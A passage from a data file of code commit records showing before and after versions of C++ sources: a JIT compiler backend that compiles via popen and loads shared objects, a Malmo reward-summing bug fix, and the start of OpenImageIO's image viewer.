std::map<std::string, func> func_storage;\n\/\/typedef std::map<std::string, void*> handle_storage;\n\ntypedef std::unordered_map<std::string, func> func_storage;\ntypedef std::unordered_map<std::string, void*> handle_storage;\n\n\/**\n *  TODO: Load existing objects at startup.\n *          Then pre-compilation and warmup rounds will be possible.\n *\/\n\n\/**\n * The compiler interface.\n *\n * Becomes what it compiles.\n *\/\nclass compiler {\npublic:\n    virtual bool compile(std::string symbol, const char* sourcecode, size_t source_len) = 0;\n};\n\n\/**\n * compile() forks and executes a system process, the process along with\n * arguments must be provided as argument at time of construction.\n * The process must be able to consume sourcecode via stdin and produce\n * a shared object file.\n * The compiled shared-object is then loaded and made available for execute().\n *\n * Examples:\n *\n *  process tcc(\"tcc -O2 -march=core2 -fPIC -x c -shared - -o \");\n *  process gcc(\"gcc -O2 -march=core2 -fPIC -x c -shared - -o \");\n *  process clang(\"clang -O2 -march=core2 -fPIC -x c -shared - -o \");\n *\n *\/\nclass process: compiler {\npublic:\n    func_storage funcs;\n\n    process(\n        std::string process_str,\n        std::string object_path,\n        std::string kernel_path,\n        bool do_preload\n    ) :\n        process_str(process_str), \n        object_path(object_path),\n        kernel_path(kernel_path)\n    {\n        \/\/ Create an identifier with low collision...\n        static const char alphanum[] = \n            \"0123456789\"\n            \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n            \"abcdefghijklmnopqrstuvwxyz\";\n\n        srand(getpid());\n        for (int i = 0; i < 7; ++i) {\n            uid[i] = alphanum[rand() % (sizeof(alphanum) - 1)];\n            uid[i] = 'a';\n        }\n        uid[6] = 0;\n\n        if (do_preload) {     \/\/ Now load all objects...\n            preload();      \n        }\n    }\n\n    bool symbol_ready(std::string symbol) {\n        return funcs.count(symbol) > 0;\n    }\n\n    size_t preload()\n    {\n        DIR *dir;\n        struct dirent *ent;\n        size_t nloaded = 0;\n        if ((dir = opendir (object_path.c_str())) != NULL) {\n            while ((ent = readdir (dir)) != NULL) {\n                size_t fn_len = strlen(ent->d_name);\n\n                if (14>fn_len) {              \/\/ Not what we want\n                    continue;\n                }\n\n                std::string fn(ent->d_name),\n                            lib_fn;\n\n                if (0==fn.compare(0,3, \"BH_\")) {        \/\/ Single\n                    lib_fn.assign(fn, 0, fn_len-10);    \/\/ Remove \"_xxxxxx.so\"\n                    if (load(lib_fn, lib_fn)) {\n                        ++nloaded;\n                    };                                  \/\/ Multiple\n                } else if (0==fn.compare(fn_len-4, 4, \".ind\")) {\n                    lib_fn.assign(fn, 0, fn_len-11);    \/\/ Remove \"_xxxxxx.ind\"\n                    std::string index_fn = lib_path(lib_fn.c_str(), \"ind\");\n\n                    std::vector<std::string> symbols;\n                    std::ifstream symbol_file(index_fn);\n                    for(std::string symbol; getline(symbol_file, symbol);) {\n                        symbols.push_back(symbol);\n                    }\n                    symbol_file.close();\n\n                    nloaded += load(symbols, lib_fn);\n\n                } else {                                        \/\/ Ignore\n                    std::cout << \"Ignorning non-loadable file: \";\n                    std::cout << \"[\" << fn << \"] \";\n                    std::cout << \"found in object-path.\" << std::endl;\n                }\n            }\n            closedir (dir);\n            return nloaded;\n        } else {\n            throw std::runtime_error(\"Failed opening bla bla lba.\");\n        }\n    }\n\n    \/**\n     *  Load a single symbol from library symbol into func-storage.\n     *\/\n    bool load(std::string symbol, std::string library)\n    {\n        char *error_msg = NULL;             \/\/ Buffer for dlopen errors\n        int errnum = 0;\n\n        std::string library_fn = lib_path(  \/\/ \".\/objects\/<symbol>_XXXXXX\"\n                library.c_str(),\n                \"so\"\n        );\n\n        if (0==handles.count(library)) {    \/\/ Open library\n            handles[library] = dlopen(          \n                library_fn.c_str(),\n                RTLD_NOW\n            );\n            errnum = errno;\n        }\n        if (!handles[library]) {            \/\/ Check that it opened\n            error(\n                errnum,\n                \"Failed openening library; dlopen(filename='%s', RTLF_NOW) failed.\",\n                library_fn.c_str()\n            );\n            return false;\n        }\n\n        dlerror();                          \/\/ Clear any existing error then,\n        funcs[symbol] = (func)dlsym(        \/\/ Load symbol\/function\n            handles[library],\n            symbol.c_str()\n        );\n        error_msg = dlerror();\n        if (error_msg) {\n            error(\n                error_msg,\n                \"dlsym( handle='%s', symbol='%s' )\\n\",\n                library_fn.c_str(),\n                symbol.c_str()\n            );\n            free(error_msg);\n            return false;\n        }\n        return true;\n    }\n\n    \/**\n     *  Load multiple symbols from library into func-storage.\n     *\/\n    bool load(std::vector<std::string> symbols, std::string library)\n    {\n        bool res = true;\n        for(std::vector<std::string>::iterator symbol=symbols.begin();\n            (symbol != symbols.end()) && res;\n            ++symbol\n        ) {\n            res *= load(*symbol, library);\n        }\n        return res;\n    }\n\n    \/**\n     *  Write source-code to file.\n     *  Filename will be along the lines of: kernel\/<symbol>_<UID>.c\n     *  NOTE: Does not overwrite existing files.\n     *\/\n    bool src_to_file(std::string symbol, const char* sourcecode, size_t source_len)\n    {\n        int kernel_fd;              \/\/ Kernel file-descriptor\n        FILE *kernel_fp = NULL;     \/\/ Handle for kernel-file\n        const char *mode = \"w\";\n        int err;\n        std::string kernel_fn = krn_path(symbol.c_str(), \".c\");\n        kernel_fd = open(kernel_fn.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0644);\n        if ((!kernel_fd) || (kernel_fd<1)) {\n            err = errno;\n            error(err, \"Failed opening kernel-file [%s] in src_to_file(...).\\n\", kernel_fn.c_str());\n            return false;\n        }\n        kernel_fp = fdopen(kernel_fd, mode);\n        if (!kernel_fp) {\n            err = errno;\n            error(err, \"fdopen(fildes= %d, flags= %s).\", kernel_fd, mode);\n            return false;\n        }\n        fwrite(sourcecode, 1, source_len, kernel_fp);\n        fflush(kernel_fp);\n        fclose(kernel_fp);\n        close(kernel_fd);\n\n        return true;\n    }\n\n    bool compile(std::string library, const char* sourcecode, size_t source_len)\n    {\n        std::string cmd = command(library.c_str(), \"so\");\n        FILE *cmd_stdin     = NULL;                     \/\/ Handle for library-file\n        cmd_stdin = popen(cmd.c_str(), \"w\");            \/\/ Execute the command\n        if (!cmd_stdin) {\n            std::cout << \"Err: Could not execute process! [\"<< cmd <<\"]\" << std::endl;\n            return false;\n        }\n        fwrite(sourcecode, 1, source_len, cmd_stdin);   \/\/ Write sourcecode to stdin\n        fflush(cmd_stdin);\n        pclose(cmd_stdin);\n\n        return true;\n    }\n\n    ~process()\n    {   \/*\n        if (handle) {\n            dlclose(handle);\n            handle = NULL;\n        }*\/\n    }\n\n    const char* get_uid(void)\n    {\n        return uid;\n    }\n\n    std::string lib_path(const char *lib_name, const char *ext)\n    {\n        return  object_path + \"\/\" +\\\n                std::string(lib_name)    + \"_\" +\\\n                std::string(get_uid())   + \".\" +\\\n                std::string(ext);\n    }\n\n    std::string krn_path(const char *krn_name, const char *ext)\n    {\n        return  kernel_path + \"\/\" +\\\n                std::string(krn_name)    + \"_\" +\\\n                std::string(get_uid())   + \".\" +\\\n                std::string(ext);\n    }\n\n    std::string command(const char *lib_name, const char *ext)\n    {\n        return  process_str + \" \"+\\\n                object_path + \"\/\" +\\\n                std::string(lib_name)    + \"_\" +\\\n                std::string(get_uid())   + \".\" +\\\n                std::string(ext);\n    }\n\nprivate:\n    handle_storage handles;\n    char uid[7];\n    std::string process_str;\n    std::string object_path;\n    std::string kernel_path;\n\n};\n\n#endif\n\n<commit_msg>cpu: Fixed that annoying extra \".\" in source-code filenames.<commit_after>#ifndef __BH_VE_CPU_BACKENDS\n#define __BH_VE_CPU_BACKENDS\n\n#include <iostream>\n#include <cstring>\n#include <cstdarg>\n#include <cstdlib>\n#include <cstdio>\n#include <string>\n#include <cstring>\n#include <stdexcept>\n#include <vector>\n#include <unordered_map>\n#include \"dirent.h\"\n#include <dlfcn.h>\n#include <unistd.h>\n#include \"utils.cpp\"\n#include <fcntl.h>\n\n\/\/ Create nice error-messages...\nint error(int errnum, const char *fmt, ...) {\n    va_list va;\n    int ret;\n\n    char err_msg[500];\n    sprintf(err_msg, \"Error[%d, %s] from: %s\", errnum, strerror(errnum), fmt);\n    va_start(va, fmt);\n    ret = vfprintf(stderr, err_msg, va);\n    va_end(va);\n    return ret;\n}\n\nint error(const char *err_msg, const char *fmt, ...) {\n    va_list va;\n    int ret;\n\n    char err_txt[500];\n    sprintf(err_txt, \"Error[%s] from: %s\", err_msg, fmt);\n    va_start(va, fmt);\n    ret = vfprintf(stderr, err_txt, va);\n    va_end(va);\n    return ret;\n}\n\ntypedef void (*func)(int tool, ...);\n\/\/typedef std::map<std::string, func> func_storage;\n\/\/typedef std::map<std::string, void*> handle_storage;\n\ntypedef std::unordered_map<std::string, func> func_storage;\ntypedef std::unordered_map<std::string, void*> handle_storage;\n\n\/**\n *  TODO: Load existing objects at startup.\n *          Then pre-compilation and warmup rounds will be possible.\n *\/\n\n\/**\n * The compiler interface.\n *\n * Becomes what it compiles.\n *\/\nclass compiler {\npublic:\n    virtual bool compile(std::string symbol, const char* sourcecode, size_t source_len) = 0;\n};\n\n\/**\n * compile() forks and executes a system process, the process along with\n * arguments must be provided as argument at time of construction.\n * The process must be able to consume sourcecode via stdin and produce\n * a shared object file.\n * The compiled shared-object is then loaded and made available for execute().\n *\n * Examples:\n *\n *  process tcc(\"tcc -O2 -march=core2 -fPIC -x c -shared - -o \");\n *  process gcc(\"gcc -O2 -march=core2 -fPIC -x c -shared - -o \");\n *  process clang(\"clang -O2 -march=core2 -fPIC -x c -shared - -o \");\n *\n *\/\nclass process: compiler {\npublic:\n    func_storage funcs;\n\n    process(\n        std::string process_str,\n        std::string object_path,\n        std::string kernel_path,\n        bool do_preload\n    ) :\n        process_str(process_str), \n        object_path(object_path),\n        kernel_path(kernel_path)\n    {\n        \/\/ Create an identifier with low collision...\n        static const char alphanum[] = \n            \"0123456789\"\n            \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n            \"abcdefghijklmnopqrstuvwxyz\";\n\n        srand(getpid());\n        for (int i = 0; i < 7; ++i) {\n            uid[i] = alphanum[rand() % (sizeof(alphanum) - 1)];\n            uid[i] = 'a';\n        }\n        uid[6] = 0;\n\n        if (do_preload) {     \/\/ Now load all objects...\n            preload();      \n        }\n    }\n\n    bool symbol_ready(std::string symbol) {\n        return funcs.count(symbol) > 0;\n    }\n\n    size_t preload()\n    {\n        DIR *dir;\n        struct dirent *ent;\n        size_t nloaded = 0;\n        if ((dir = opendir (object_path.c_str())) != NULL) {\n            while ((ent = readdir (dir)) != NULL) {\n                size_t fn_len = strlen(ent->d_name);\n\n                if (14>fn_len) {              \/\/ Not what we want\n                    continue;\n                }\n\n                std::string fn(ent->d_name),\n                            lib_fn;\n\n                if (0==fn.compare(0,3, \"BH_\")) {        \/\/ Single\n                    lib_fn.assign(fn, 0, fn_len-10);    \/\/ Remove \"_xxxxxx.so\"\n                    if (load(lib_fn, lib_fn)) {\n                        ++nloaded;\n                    };                                  \/\/ Multiple\n                } else if (0==fn.compare(fn_len-4, 4, \".ind\")) {\n                    lib_fn.assign(fn, 0, fn_len-11);    \/\/ Remove \"_xxxxxx.ind\"\n                    std::string index_fn = lib_path(lib_fn.c_str(), \"ind\");\n\n                    std::vector<std::string> symbols;\n                    std::ifstream symbol_file(index_fn);\n                    for(std::string symbol; getline(symbol_file, symbol);) {\n                        symbols.push_back(symbol);\n                    }\n                    symbol_file.close();\n\n                    nloaded += load(symbols, lib_fn);\n\n                } else {                                        \/\/ Ignore\n                    std::cout << \"Ignorning non-loadable file: \";\n                    std::cout << \"[\" << fn << \"] \";\n                    std::cout << \"found in object-path.\" << std::endl;\n                }\n            }\n            closedir (dir);\n            return nloaded;\n        } else {\n            throw std::runtime_error(\"Failed opening bla bla lba.\");\n        }\n    }\n\n    \/**\n     *  Load a single symbol from library symbol into func-storage.\n     *\/\n    bool load(std::string symbol, std::string library)\n    {\n        char *error_msg = NULL;             \/\/ Buffer for dlopen errors\n        int errnum = 0;\n\n        std::string library_fn = lib_path(  \/\/ \".\/objects\/<symbol>_XXXXXX\"\n                library.c_str(),\n                \"so\"\n        );\n\n        if (0==handles.count(library)) {    \/\/ Open library\n            handles[library] = dlopen(          \n                library_fn.c_str(),\n                RTLD_NOW\n            );\n            errnum = errno;\n        }\n        if (!handles[library]) {            \/\/ Check that it opened\n            error(\n                errnum,\n                \"Failed openening library; dlopen(filename='%s', RTLF_NOW) failed.\",\n                library_fn.c_str()\n            );\n            return false;\n        }\n\n        dlerror();                          \/\/ Clear any existing error then,\n        funcs[symbol] = (func)dlsym(        \/\/ Load symbol\/function\n            handles[library],\n            symbol.c_str()\n        );\n        error_msg = dlerror();\n        if (error_msg) {\n            error(\n                error_msg,\n                \"dlsym( handle='%s', symbol='%s' )\\n\",\n                library_fn.c_str(),\n                symbol.c_str()\n            );\n            free(error_msg);\n            return false;\n        }\n        return true;\n    }\n\n    \/**\n     *  Load multiple symbols from library into func-storage.\n     *\/\n    bool load(std::vector<std::string> symbols, std::string library)\n    {\n        bool res = true;\n        for(std::vector<std::string>::iterator symbol=symbols.begin();\n            (symbol != symbols.end()) && res;\n            ++symbol\n        ) {\n            res *= load(*symbol, library);\n        }\n        return res;\n    }\n\n    \/**\n     *  Write source-code to file.\n     *  Filename will be along the lines of: kernel\/<symbol>_<UID>.c\n     *  NOTE: Does not overwrite existing files.\n     *\/\n    bool src_to_file(std::string symbol, const char* sourcecode, size_t source_len)\n    {\n        int kernel_fd;              \/\/ Kernel file-descriptor\n        FILE *kernel_fp = NULL;     \/\/ Handle for kernel-file\n        const char *mode = \"w\";\n        int err;\n        std::string kernel_fn = krn_path(symbol.c_str(), \"c\");\n        kernel_fd = open(kernel_fn.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0644);\n        if ((!kernel_fd) || (kernel_fd<1)) {\n            err = errno;\n            error(err, \"Failed opening kernel-file [%s] in src_to_file(...).\\n\", kernel_fn.c_str());\n            return false;\n        }\n        kernel_fp = fdopen(kernel_fd, mode);\n        if (!kernel_fp) {\n            err = errno;\n            error(err, \"fdopen(fildes= %d, flags= %s).\", kernel_fd, mode);\n            return false;\n        }\n        fwrite(sourcecode, 1, source_len, kernel_fp);\n        fflush(kernel_fp);\n        fclose(kernel_fp);\n        close(kernel_fd);\n\n        return true;\n    }\n\n    bool compile(std::string library, const char* sourcecode, size_t source_len)\n    {\n        std::string cmd = command(library.c_str(), \"so\");\n        FILE *cmd_stdin     = NULL;                     \/\/ Handle for library-file\n        cmd_stdin = popen(cmd.c_str(), \"w\");            \/\/ Execute the command\n        if (!cmd_stdin) {\n            std::cout << \"Err: Could not execute process! [\"<< cmd <<\"]\" << std::endl;\n            return false;\n        }\n        fwrite(sourcecode, 1, source_len, cmd_stdin);   \/\/ Write sourcecode to stdin\n        fflush(cmd_stdin);\n        pclose(cmd_stdin);\n\n        return true;\n    }\n\n    ~process()\n    {   \/*\n        if (handle) {\n            dlclose(handle);\n            handle = NULL;\n        }*\/\n    }\n\n    const char* get_uid(void)\n    {\n        return uid;\n    }\n\n    std::string lib_path(const char *lib_name, const char *ext)\n    {\n        return  object_path + \"\/\" +\\\n                std::string(lib_name)    + \"_\" +\\\n                std::string(get_uid())   + \".\" +\\\n                std::string(ext);\n    }\n\n    std::string krn_path(const char *krn_name, const char *ext)\n    {\n        return  kernel_path + \"\/\" +\\\n                std::string(krn_name)    + \"_\" +\\\n                std::string(get_uid())   + \".\" +\\\n                std::string(ext);\n    }\n\n    std::string command(const char *lib_name, const char *ext)\n    {\n        return  process_str + \" \"+\\\n                object_path + \"\/\" +\\\n                std::string(lib_name)    + \"_\" +\\\n                std::string(get_uid())   + \".\" +\\\n                std::string(ext);\n    }\n\nprivate:\n    handle_storage handles;\n    char uid[7];\n    std::string process_str;\n    std::string object_path;\n    std::string kernel_path;\n\n};\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ --------------------------------------------------------------------------------------------------\n\/\/  Copyright (c) 2016 Microsoft Corporation\n\/\/  \n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and\n\/\/  associated documentation files (the \"Software\"), to deal in the Software without restriction,\n\/\/  including without limitation the rights to use, copy, modify, merge, publish, distribute,\n\/\/  sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/  \n\/\/  The above copyright notice and this permission notice shall be included in all copies or\n\/\/  substantial portions of the Software.\n\/\/  \n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT\n\/\/  NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/  NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n\/\/  DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\/\/ --------------------------------------------------------------------------------------------------\n\n\/\/ Header:\n#include \"TimestampedReward.h\"\n\n\/\/ Local:\n#include \"FindSchemaFile.h\"\n\n\/\/ Boost:\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/date_time\/posix_time\/posix_time_io.hpp>\n\n\/\/ STL:\n#include <sstream>\n\nnamespace malmo\n{\n    TimestampedReward::TimestampedReward()\n    {\n    }\n\n    TimestampedReward::TimestampedReward(float reward)\n    {\n        this->values[0] = static_cast<double>(reward);\n    }\n\n    TimestampedReward& TimestampedReward::createFromXML(boost::posix_time::ptime timestamp, std::string xml_string)\n    {\n        this->timestamp = timestamp;\n\n        const bool validate = true;\n        \n        xml_schema::properties props;\n        props.schema_location(xml_namespace, FindSchemaFile(\"MissionEnded.xsd\"));\n\n        xml_schema::flags flags = 0;\n        if( !validate )\n            flags = flags | xml_schema::flags::dont_validate;\n\n        std::istringstream iss(xml_string);\n        std::unique_ptr<malmo::schemas::Reward> reward = malmo::schemas::Reward_(iss, flags, props);\n        setValuesFromRewardStructure(*reward);\n        return *this;\n    }\n\n    TimestampedReward& TimestampedReward::createFromSimpleString(boost::posix_time::ptime timestamp, std::string simple_string)\n    {\n        this->timestamp = timestamp;\n\n        \/\/ String should be comma-delimited sets of <dimension>:<value>.\n        size_t nextpos = 0, lastpos = 0;\n        while (nextpos != std::string::npos)\n        {\n            nextpos = simple_string.find(\",\", lastpos);\n            std::string token = (nextpos != std::string::npos) ? simple_string.substr(lastpos, nextpos - lastpos) : simple_string.substr(lastpos);\n            size_t split = token.find(\":\");\n            if (split == std::string::npos)\n            {\n                throw std::runtime_error(\"Malformed reward message.\");\n            }\n            else\n            {\n                int dimension = std::stoi(token.substr(0, split));\n                double value = std::stod(token.substr(split + 1));\n                this->values[dimension] = value;\n            }\n            lastpos = nextpos + 1;\n        }\n    }\n\n    TimestampedReward::TimestampedReward(boost::posix_time::ptime timestamp,const schemas::Reward& reward)\n        : timestamp(timestamp)\n    {\n        setValuesFromRewardStructure(reward);\n    }\n    \n    void TimestampedReward::setValuesFromRewardStructure(const schemas::Reward& reward)\n    {\n        this->values.clear();\n        for( const schemas::Value& r : reward.Value() ) {\n            this->values[ r.dimension() ] = static_cast<double>( r.value() );\n        }\n    }\n    \n    schemas::Reward TimestampedReward::getAsRewardStructure() const\n    {\n        schemas::Reward reward;\n        for( std::map<int,double>::const_iterator it = this->values.begin(); it!= this->values.end(); it++) {\n            schemas::Value value( it->first, it->second );\n            reward.Value().push_back( value );\n        }\n        return reward;\n    }\n    \n    std::string TimestampedReward::getAsXML( bool prettyPrint ) const\n    {\n        std::ostringstream oss;\n        \n        xml_schema::namespace_infomap map;\n        map[\"\"].name = xml_namespace;\n        map[\"\"].schema = \"MissionEnded.xsd\";\n\n        xml_schema::flags flags = 0;\n        if( !prettyPrint )\n            flags = flags | xml_schema::flags::dont_pretty_print;\n\n        Reward_( oss, this->getAsRewardStructure(), map, \"UTF-8\", flags );\n        \n        return oss.str();\n    }\n\n    std::string TimestampedReward::getAsSimpleString() const\n    {\n        std::ostringstream oss;\n        for (std::map<int, double>::const_iterator it = this->values.begin(); it != this->values.end(); it++) {\n            if (it != this->values.begin())\n                oss << \",\";\n            oss << it->first << \":\" << it->second;\n        }\n        return oss.str();\n    }\n\n    bool TimestampedReward::hasValueOnDimension(int dimension) const\n    {\n        return this->values.find(dimension) != this->values.end();\n    }\n\n    double TimestampedReward::getValueOnDimension(int dimension) const\n    {\n        return this->values.at(dimension);\n    }\n\n    double TimestampedReward::getValue() const\n    {\n        return this->values.at(0);\n    }\n    \n    void TimestampedReward::add(const TimestampedReward& other)\n    {\n        for( std::map<int,double>::const_iterator it = this->values.begin(); it!= this->values.end(); it++) {\n            int dimension = it->first;\n            double value = it->second;\n            if( this->values.find(dimension) != this->values.end() )\n                this->values[dimension] += value;\n            else\n                this->values[dimension] = value;\n        }\n    }\n\n    std::ostream& operator<<(std::ostream& os, const TimestampedReward& tsf)\n    {\n        os << \"TimestampedReward: \" << to_simple_string(tsf.timestamp);\n        for( std::map<int,double>::const_iterator it = tsf.values.begin(); it!= tsf.values.end(); it++) {\n            os  << \", \" << it->first << \":\" << it->second;\n        }\n        return os;\n    }\n}\n<commit_msg>Fix: TimestampedReward::add was broken, causing occasional doubling of rewards.<commit_after>\/\/ --------------------------------------------------------------------------------------------------\n\/\/  Copyright (c) 2016 Microsoft Corporation\n\/\/  \n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and\n\/\/  associated documentation files (the \"Software\"), to deal in the Software without restriction,\n\/\/  including without limitation the rights to use, copy, modify, merge, publish, distribute,\n\/\/  sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/  \n\/\/  The above copyright notice and this permission notice shall be included in all copies or\n\/\/  substantial portions of the Software.\n\/\/  \n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT\n\/\/  NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/  NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n\/\/  DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\/\/ --------------------------------------------------------------------------------------------------\n\n\/\/ Header:\n#include \"TimestampedReward.h\"\n\n\/\/ Local:\n#include \"FindSchemaFile.h\"\n\n\/\/ Boost:\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/date_time\/posix_time\/posix_time_io.hpp>\n\n\/\/ STL:\n#include <sstream>\n\nnamespace malmo\n{\n    TimestampedReward::TimestampedReward()\n    {\n    }\n\n    TimestampedReward::TimestampedReward(float reward)\n    {\n        this->values[0] = static_cast<double>(reward);\n    }\n\n    TimestampedReward& TimestampedReward::createFromXML(boost::posix_time::ptime timestamp, std::string xml_string)\n    {\n        this->timestamp = timestamp;\n\n        const bool validate = true;\n        \n        xml_schema::properties props;\n        props.schema_location(xml_namespace, FindSchemaFile(\"MissionEnded.xsd\"));\n\n        xml_schema::flags flags = 0;\n        if( !validate )\n            flags = flags | xml_schema::flags::dont_validate;\n\n        std::istringstream iss(xml_string);\n        std::unique_ptr<malmo::schemas::Reward> reward = malmo::schemas::Reward_(iss, flags, props);\n        setValuesFromRewardStructure(*reward);\n        return *this;\n    }\n\n    TimestampedReward& TimestampedReward::createFromSimpleString(boost::posix_time::ptime timestamp, std::string simple_string)\n    {\n        this->timestamp = timestamp;\n\n        \/\/ String should be comma-delimited sets of <dimension>:<value>.\n        size_t nextpos = 0, lastpos = 0;\n        while (nextpos != std::string::npos)\n        {\n            nextpos = simple_string.find(\",\", lastpos);\n            std::string token = (nextpos != std::string::npos) ? simple_string.substr(lastpos, nextpos - lastpos) : simple_string.substr(lastpos);\n            size_t split = token.find(\":\");\n            if (split == std::string::npos)\n            {\n                throw std::runtime_error(\"Malformed reward message.\");\n            }\n            else\n            {\n                int dimension = std::stoi(token.substr(0, split));\n                double value = std::stod(token.substr(split + 1));\n                this->values[dimension] = value;\n            }\n            lastpos = nextpos + 1;\n        }\n    }\n\n    TimestampedReward::TimestampedReward(boost::posix_time::ptime timestamp,const schemas::Reward& reward)\n        : timestamp(timestamp)\n    {\n        setValuesFromRewardStructure(reward);\n    }\n    \n    void TimestampedReward::setValuesFromRewardStructure(const schemas::Reward& reward)\n    {\n        this->values.clear();\n        for( const schemas::Value& r : reward.Value() ) {\n            this->values[ r.dimension() ] = static_cast<double>( r.value() );\n        }\n    }\n    \n    schemas::Reward TimestampedReward::getAsRewardStructure() const\n    {\n        schemas::Reward reward;\n        for( std::map<int,double>::const_iterator it = this->values.begin(); it!= this->values.end(); it++) {\n            schemas::Value value( it->first, it->second );\n            reward.Value().push_back( value );\n        }\n        return reward;\n    }\n    \n    std::string TimestampedReward::getAsXML( bool prettyPrint ) const\n    {\n        std::ostringstream oss;\n        \n        xml_schema::namespace_infomap map;\n        map[\"\"].name = xml_namespace;\n        map[\"\"].schema = \"MissionEnded.xsd\";\n\n        xml_schema::flags flags = 0;\n        if( !prettyPrint )\n            flags = flags | xml_schema::flags::dont_pretty_print;\n\n        Reward_( oss, this->getAsRewardStructure(), map, \"UTF-8\", flags );\n        \n        return oss.str();\n    }\n\n    std::string TimestampedReward::getAsSimpleString() const\n    {\n        std::ostringstream oss;\n        for (std::map<int, double>::const_iterator it = this->values.begin(); it != this->values.end(); it++) {\n            if (it != this->values.begin())\n                oss << \",\";\n            oss << it->first << \":\" << it->second;\n        }\n        return oss.str();\n    }\n\n    bool TimestampedReward::hasValueOnDimension(int dimension) const\n    {\n        return this->values.find(dimension) != this->values.end();\n    }\n\n    double TimestampedReward::getValueOnDimension(int dimension) const\n    {\n        return this->values.at(dimension);\n    }\n\n    double TimestampedReward::getValue() const\n    {\n        return this->values.at(0);\n    }\n    \n    void TimestampedReward::add(const TimestampedReward& other)\n    {\n        for( std::map<int,double>::const_iterator it = other.values.begin(); it!= other.values.end(); it++) {\n            int dimension = it->first;\n            double value = it->second;\n            if( this->values.find(dimension) != this->values.end() )\n                this->values[dimension] += value;\n            else\n                this->values[dimension] = value;\n        }\n    }\n\n    std::ostream& operator<<(std::ostream& os, const TimestampedReward& tsf)\n    {\n        os << \"TimestampedReward: \" << to_simple_string(tsf.timestamp);\n        for( std::map<int,double>::const_iterator it = tsf.values.begin(); it!= tsf.values.end(); it++) {\n            os  << \", \" << it->first << \":\" << it->second;\n        }\n        return os;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  Copyright 2008 Larry Gritz and the other authors and contributors.\n  All Rights Reserved.\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are\n  met:\n  * Redistributions of source code must retain the above copyright\n    notice, this list of conditions and the following disclaimer.\n  * Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in the\n    documentation and\/or other materials provided with the distribution.\n  * Neither the name of the software's owners nor the names of its\n    contributors may be used to endorse or promote products derived from\n    this software without specific prior written permission.\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n  (This is the Modified BSD License)\n*\/\n\n\n#include <cstdio>\n#include <cstdlib>\n#include <cmath>\n#include <ctime>\n#include <iostream>\n#include <iterator>\n\n#include <QtGui>\n\n#include <boost\/foreach.hpp>\n\n#include \"imageio.h\"\nusing namespace OpenImageIO;\n#include \"imageviewer.h\"\n#include \"timer.h\"\n#include \"argparse.h\"\n\n\n\nstatic bool verbose = false;\nstatic bool foreground_mode = false;\nstatic std::vector<std::string> filenames;\n\n\n\nstatic int\nparse_files (int argc, const char *argv[])\n{\n    for (int i = 0;  i < argc;  i++)\n        filenames.push_back (argv[i]);\n    return 0;\n}\n\n\n\nstatic void\ngetargs (int argc, char *argv[])\n{\n    bool help = false;\n    ArgParse ap;\n    ap.options (\"Usage:  iv [options] [filename...]\",\n                  \"%*\", parse_files, \"\",\n                  \"--help\", &help, \"Print help message\",\n                  \"-v\", &verbose, \"Verbose status messages\",\n                  \"-F\", &foreground_mode, \"Foreground mode\",\n                  NULL);\n    if (ap.parse (argc, (const char**)argv) < 0) {\n        std::cerr << ap.error_message() << std::endl;\n        ap.usage ();\n        exit (EXIT_FAILURE);\n    }\n    if (help) {\n        ap.usage ();\n        exit (EXIT_FAILURE);\n    